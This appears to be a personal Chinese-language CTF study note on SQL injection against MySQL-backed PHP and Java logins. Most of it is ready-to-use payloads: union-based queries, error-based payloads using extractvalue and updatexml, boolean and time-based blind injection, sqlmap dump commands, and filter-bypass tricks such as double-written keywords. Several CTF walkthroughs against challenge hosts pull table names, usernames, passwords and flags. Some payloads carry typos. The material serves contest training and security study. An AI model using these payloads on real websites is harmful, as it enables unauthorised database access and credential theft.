0、先验知识
Java后台
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"; 带单引号!
php后台
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'"; 带单引号!
sql知识
information_schema 是一个只读数据库,任何尝试修改或删除其内容的操作都会被MySQL阻止,内含表如下:
1 SCHEMATA:列出所有数据库的信息,包括数据库名、默认字符集和排序规则等。
2 tables:列出数据库中的所有表的信息,包括表名、表类型、创建选项等。
3 columns:列出表中的所有列的信息,包括列名、数据类型、是否允许空值、默认值等。
4 STATISTICS:列出表的所有索引的信息,包括索引名、索引类型、是否唯一等。
5 VIEWS:列出数据库中的所有视图的信息,包括视图定义等。
6 ROUTINES:列出数据库中的所有存储过程和函数的信息,包括过程或函数名、参数等。
7 USER_PRIVILEGES:列出用户的权限信息,包括用户可以执行的操作等。
例如:information_schema.tables 表示:访问的是tables表
select table_name from information_schema.tables where table_schema='information_schema'; 从information_schema数据库的tables表中找表
查询当前数据库实例所有的数据库信息
SELECT * from information_schema.SCHEMATA;
查询当前数据库实例所有数据表信息
SELECT * from information_schema.Tables;
SELECT table_name from information_schema.Tables where table_schema='gm_system';
查询当前数据库实例所有数据表中数据字段的信息
SELECT * from information_schema.COLUMNS;
注入步骤
- 找到注入点
php?id=-1' 看回显 多试几种姿势,往往能闭合并回显出来,只看错误提示行不通 24技能兴鲁
id=-1%23(#)
%27:单引号
%20或者+:空格
- 闭合注入点
?id=1'xxxxxxxxxxxxxxxxx%23 闭合并回显/布尔型
1、无过滤回显手注
1 联合查询注入
$sql="select * from gm_student where id ='$id'";
判断行数
php?id=-1' order by 3 一般都是3列
获取数据库名
php?id=-1 union select 1,2,database();
获取表名
php?id=-1 union select 1,2,table_name from information_schema.tables where table_schema = 'user_db'; 根据table_schema数据库名获取表名
php?username=admin&password=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'geek'%23
获取列名:
php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'user_db' and table_name = 'user_info'; 根据数据库名、表名获取列的组合
password=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'geek' and table_name = 'l0ve1ysq1'%23
获取数据:
php?id=-1 union select group_concat(id,'-',username,'-',password) from user_info; 根据表名获取字段中数据
password=admin'+union select 1,2,group_concat(id,'-',username,'-',password) from geekuser+%23 geekuser表中不是
password=-1' union select 1,2,group_concat(id,'-',username,'-',password) from l0ve1ysq1%23 l0ve1ysq1表中找到了
hackbar中只有上面获取数据表的操作,没有获取里面数据的操作。
不是第三个字段的方式:id=1'union select 1,group_concat(id,'-',studentname,'-',note),3 from gm_student--+
注意事项:
1 一些闭合技巧
admin' order by 1%23 #做了个%23编码(一般是单引号+%23闭合)
2 报错注入
同样的例子,直接报错注入即可。
id=1'^(extractvalue(1,concat(0x7e,(select database()),0x7e)));%23
id=1'^(extractvalue(1,concat(0x7e,(select group_concat(table_name) from infORmation_schema.tables where table_schema=database()),0x7e)));%23
select group_concat(column_name) from infOrmation_schema.columns where table_schema=database() AND table_name = 'gm_user'
id=1'^(extractvalue(1,concat(0x7e,(select group_concat(column_name) from infOrmation_schema.columns where table_schema=database() AND table_name = 'gm_user'),0x7e)));%23
select(xxx)from(xxx)
引用:
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and+extractvalue(1,+concat(0x5c,(select+table_name+from+information_schema.tables+limit+1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
第六个和第十二个用的比较多因为语句短,不容易被限制。
1 updatexml(1,concat(0x7e,version(),0x7e),1)
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
2、无过滤布尔盲注
- 注入点+闭合
URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了
- 判断数据库信息
id=1' and length(database())>5 --+ //判断数据库名长度
id=1' and ascii(substr(database(),1,1))>100 --+
id=1' and ascii(substr(database(),2,1))>100 --+ 判断数据库第二个字符的值是否大于100
- 判断数据库中表数量
当前库sqli有2张表
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1 #query_error
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2 #query_success#
- 根据库名和表数量爆表名长度limit N,M: 相当于 limit M offset N , 从第 N 条记录开始, 返回 M 条记录
N从0开始,表示第一行
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1 #query_error...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4 #query_success#当前库sqli的第一张表表名长度为4...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4 #query_success#当前库sqli的第二张表表名长度为4
#当前库sqli有两张表’news’和’flag‘,表名长度均为4
- 根据表名长度爆表名
substr(string string,num start,num length); string:为字符串; start:为起始位置; length:为长度。
start从1开始,表示第一个字符
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’ #query_error...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’
#query_success #当前库sqli的第一张表表名第一个字符是n...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)=‘g’
#query_success#当前库sqli的第二张表表名的第四个字符是g
#当前库sqli有两张表’news‘和‘flag’
- 根据表 爆列的数量
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=1 #query_error
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=2 #query_success
#当前库sqli表flag的列数为2
- 根据表名和列数量爆列名长度
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=1 #query_error...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4
#query_success#当前库sqli表flag的第一列列名长度为4...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4#query_success
#当前库sqli表flag的第二列列名长度为4
#当前库sqli表flag有两个列‘id’和‘flag’,列名长度为2和4
- 根据列名长度爆列名
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’#query_error...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’#query_success#当前库sqli表flag的第一列列名第一个字符为i...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1),4,1)=‘g’#query_success
#当前库sqli表flag的第二列列名第四个字符为g
#当前库sqli表flag有两个列‘id’和‘flag’
- 根据列名爆数据
?id=1 and substr((select flag from sqli.flag),1,1)=“a” #query_error...
?id=1 and substr((select flag from sqli.flag),1,1)=“c” #query_success #flag的第一个字符是c...
?id=1 and substr((select flag from sqli.flag),i,1)=“}”#query_success#flag的最后一个字符是}
#这里的j是计数变量j从1自增1得到的值
#出循环即可得到flag
MID() 函数用于从文本字段中提取字符。
MID()函数从字符串中提取子字符串(从任何位置开始)。 注意: MID()和SUBSTR()函数等于SUBSTRING()函数。
//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
1 基于时间的盲注
1 poc
http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5) --+
1'and+0=if(1=1,sleep(3),1)--+
2 判断数据库类型
sqltest=1'and+0=if(exists(select*from information_schema.tables),sleep(3),1)--+
3 判断当前数据库长度
sqltest=1'and+0=if(length(database())=9,sleep(3),1)--+
4 判断当前数据库第一个字符
sqltest=1'and+0=if(ascii(substr(database(),1,1))=100,sleep(3),1)--+ 注意:if判断睡眠后都是返回0
判断mysql第二个数据库长度为9
sqltest=1'and+0=if(length((select+schema_name+from+information_schema.schemata+limit+1,1))=9,sleep(3),1)--+
判断mysql第二个数据库第一个字符
sqltest=1'and+0=if(ascii(substr((select+schema_name+from+information_schema.schemata+limit+1,1),1,1))=100,sleep(3),1)--+
5 略,同布尔盲注
2 重要
根据盲注Python写多线程注入脚本
3、无过滤的sqlmap
sqlmap -u “http://example.com/vuln.php?id=1” –dbs
sqlmap -u “http://example.com/vuln.php?id=1” –dbs
sqlmap -u “http://example.com/vuln.php?id=1” -D test_db –tables
sqlmap -u “http://example.com/vuln.php?id=1” -D test_db -T users –dump
3.1 有过滤的回显手注
1 过滤单引号
url编码是没用的。
多参数未加密且同时查询情况下的绕过姿势。谢谢您
过滤了单引号,根本报不出来。
不过滤任何情况。爆破的很快。
2 过滤了空格
/**/绕过
%09、%0a、%0d、%0b
括号绕过空格 测试失败
+号、tab、两个空格、反引号等 测试失败 tab成功。
3 过滤了and、or
|| 代替
& && 测试不成功
4 过滤了from where
见第四章有过滤的盲注。
4、有过滤的盲注
1 过滤了空格+分号
==脚本位于 蓝桥杯-网络安全赛道/easiestsqli/easy2.py==
异或^绕空格
()绕空格
id=1^(ascii(substr((select(flag)from(flag)),1,1))=102)^1 真的是巧妙
2 过滤了逗号
==脚本位于 蓝桥杯-网络安全赛道/sqli/exp.py==
==使用from for 来绕过mid或者substr中的截断==
==使用limit 1 offset 0 代替limit 0,1==
查询数据库信息
过滤前:
id=1' and length(database())>5 --+ //判断数据库名长度
id=1' and ascii(substr(database(),1,1))>100 --+
id=1' and ascii(substr(database(),2,1))>100 --+ 判断数据库第二个字符的值是否大于100
过滤后:ascii(mid(database()from(7)for(1)))>100 --+
查询表数量:语法没问题
(select COUNT(*) from information_schema.tables where table_schema=database())=2
(select COUNT(*) from information_schema.tables where table_schema=database())=1
根据表名爆爆表的长度
脚本里没用这一步,直接用匹配两个空格代替了!!!!
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4 #query_success#当前库sqli的第一张表表名长度为4
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4 #query_success#当前库sqli的第二张表表名长度为4
sql语法验证发现两个括号才可以: 第一个括号的执行结果是某个表名,加上length输出长度
id =1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8;
如何过滤:SELECT * FROM table_name LIMIT 8 OFFSET 0; 完美!!!!
爆破表名
未过滤:id=1 and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100
id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n'
过滤后:
原文:id=1 and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1 offset 0)from(1)for(1)))>100
?id=1 and ascii(mid((???)from(1)for(1)))>100
???=select table_name from information_schema.tables where table_schema=database() limit 1 offset 0 表示从数据库中查询表并返回第一个行。 OFFSET 1意味着跳过第一个结果,从第二个开始
获取列数量
未过滤:
id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='gm_user')=4 #query_success
id=1 and mid((select COUNT(*) from information_schema.columns where table_schema='gm_system' and table_name='gm_user')from(1)for(3))=4
!!!终于明白了,为什么mid((xxx)from(1)for(3))了,其实用from(1)for(1)也可以,怕长度有三位!!!
获取列名长度
脚本里没有,直接用两个空格表示的
未过滤:
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name='gm_user' limit 0,1)=1
有问题,修改后: length加双括号||||| columns.column_name代替columns
id =1 and length((select columns.column_name from information_schema.columns where table_schema=database() and table_name='gm_user' limit 0,1))=2
过滤后:
id =1 and length((select columns.column_name from information_schema.columns where table_schema=database() and table_name='gm_user' limit 1 offset 0))=2
获取列名
过滤前:
id=1 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='gm_user' limit 0,1),1,1)='i'
#query_success#当前库sqli表flag的第1列列名第1个字符为i
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1),4,1)=‘g’
#query_success#当前库sqli表flag的第2列列名第4个字符为i
过滤后:
id=1 and ascii(mid((select column_name from information_schema.columns where table_schema='gm_system' and table_name='gm_user' limit 1 offset 0)from(1)for(1)))>100
爆破值的数量
过滤前:
id=1 and mid((select COUNT(*) from gm_system.gm_user),1,1)=6
过滤后:
id=1 and mid((select COUNT(*) from gm_system.gm_user)from(1)for(3))=6
根据列名爆数据
过滤前:
id=1 and substr((select 'id' from gm_user),1,1)='c'
#query_success #flag的第一个字符是c
修改后:
id=1 and substr((select 'id' from gm_user limit 0,1),0,1)='c'
过滤后:
id=1 and ascii(mid((select 'id' from gm_system.gm_user limit 1 offset 0)from(1)for(1)))>100
二分查找算法快速定位值+多线程批量爆破,进一步加快爆库速度。
4、有过滤的sql注入
- sqlmap绕waf
WAF绕过:
案例
泰山杯培训案例:
1 直接万能密码解决问题:
payload: http://c1a6e714-457d-4761-9ae2-f78d4acb8602.node5.buuoj.cn:81/check.php?username=admin&password=admin'+or+'1'='1
2 字符型注入: 永远先拿单引号测试下。。。。。 每次做它都有不一样的发现。
20240901 先测试username,也是注入点,但不回显。 所以最终拿着password测试,先order by判断几列,然后联合查询获取数据。
3 双写绕过:
猜测过滤方式
http://3a2ab0a4-d438-49bb-b67e-9d5eb6906d85.node5.buuoj.cn:81/check.php
?username=admin&password=admin'+oorrder bbyy 3%23 过滤了or和by
check.php?username=admin&password=admin'+oorr+'1'='1'%23
进一步根据回显,联合查询出字段
password=admin'+ununioniunionon seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23 过滤内容:union select or from等,仅仅过滤一次
双写where后,得到flag表
check.php?username=admin&password=admin'+ununioniunionon seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='ctf'%23
报错的位置一般是报错位置的前方一个字段。
一般sql固定字段值错误才会报语法错误,且位置不准确,而表等仅仅包没有这个表。
找列,发现就一列。
http://3a2ab0a4-d438-49bb-b67e-9d5eb6906d85.node5.buuoj.cn:81/check.php
?username=admin&password=admin'+ununioniunionon seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='ctf' anandd table_name='Flag'%23
最后简单了,直接从Flag表中查找flag字段。
check.php?username=admin&password=admin'+ununioniunionon seselectlect 1,2,'flag' from 'Flag'%23 没找到东西,开始回溯?
/check.php?username=admin&password=admin'+ununioniunionon seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='geek' anandd table_name='geekuser'%23
回溯成功:group_concat(flag)中加了单引号导致的。 ctf.Flag 这里也注意下,直接Flag也可以。
/check.php?username=admin&password=admin'+ununioniunionon seselectlect 1,2,group_concat(flag) frfromom ctf.Flag%23
4 联合查询利用:babysqli 没有回显,这就很有问题。??难道是用没有回显的布尔型盲注!!!!!
首先判断出来,name是注入点,但pw不是注入点
select * from web_sqli.user where username='name'; 找到记录,若不存在,报错wrong user
注意几点:
1 因为name是第二个字段,所以第一个name不能为admin,只能是不存在的才会显示一条伪造记录。
2 pw值做了md5后是第三个字段的值,后台根据这个进行判断,从而确定是否返回flag,太扯淡了。
name=1' union select 1,'admin', '202cb962ac59075b964b07152d234b70'#&pw=123
发表回复